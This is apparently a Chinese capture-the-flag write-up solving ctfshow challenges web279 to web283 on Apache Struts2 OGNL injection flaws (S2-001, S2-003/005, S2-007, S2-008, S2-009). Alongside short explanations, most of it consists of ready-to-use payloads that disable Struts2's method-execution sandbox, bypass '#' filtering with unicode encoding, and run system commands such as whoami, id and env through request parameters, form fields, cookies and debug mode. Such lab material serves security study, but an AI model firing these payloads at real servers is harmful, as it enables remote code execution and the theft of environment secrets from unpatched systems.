基于java的Web应用框架Struts2

系列工具:GitHub - HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具

web279

S2-001漏洞:

当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

提交后,则可以发现测试表达式被执行。

OGNL表达式

OGNL表达式的基本语法遵循以下模式:

object.property.property

这里,object 是要访问的对象,*.* 是用于分隔对象和属性的符号,property 是对象的属性名。OGNL表达式可以连续使用. 来访问对象的嵌套属性。例如,person.address.city 可以用来访问Person 对象中Address 对象的city 属性。

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值

  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用

  • $主要是在Struts 2配置文件中,引用OGNL表达式

以下是三条利用语句

获取tomcat路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

可把其中的whoami换位需要执行的命令,本题flag在环境变量中,所以换为env

web280

S2-003漏洞:

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

S2-005漏洞:

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞.

S2-003的修复是出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAccesMethodAccessor.denyMethodExecution)我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了

xwork.MethodAccessor.denyMethodExecution设置为falseallowStaticMethodAccess设置为true

这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#

poc:

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

但是会400

用工具吧

web281

S2-007

S2-007漏洞一般出现在表单处。当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

输入非数字类型的表达式

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

web282

S2-008

devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,由于web容器(Tomcat等)对cookie有字符限制,所以生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令。

  • 对于cookie方式

Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings;

  • 调试模式

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web283

S2-009

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御

/ajax/example5?name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23ret=@java.lang.Runtime@getRuntime().exec('env'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),%23writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23writer.println(new%20java.lang.String(%23res)),%23writer.flush(),%23writer.close())&z[(name)(fuck)]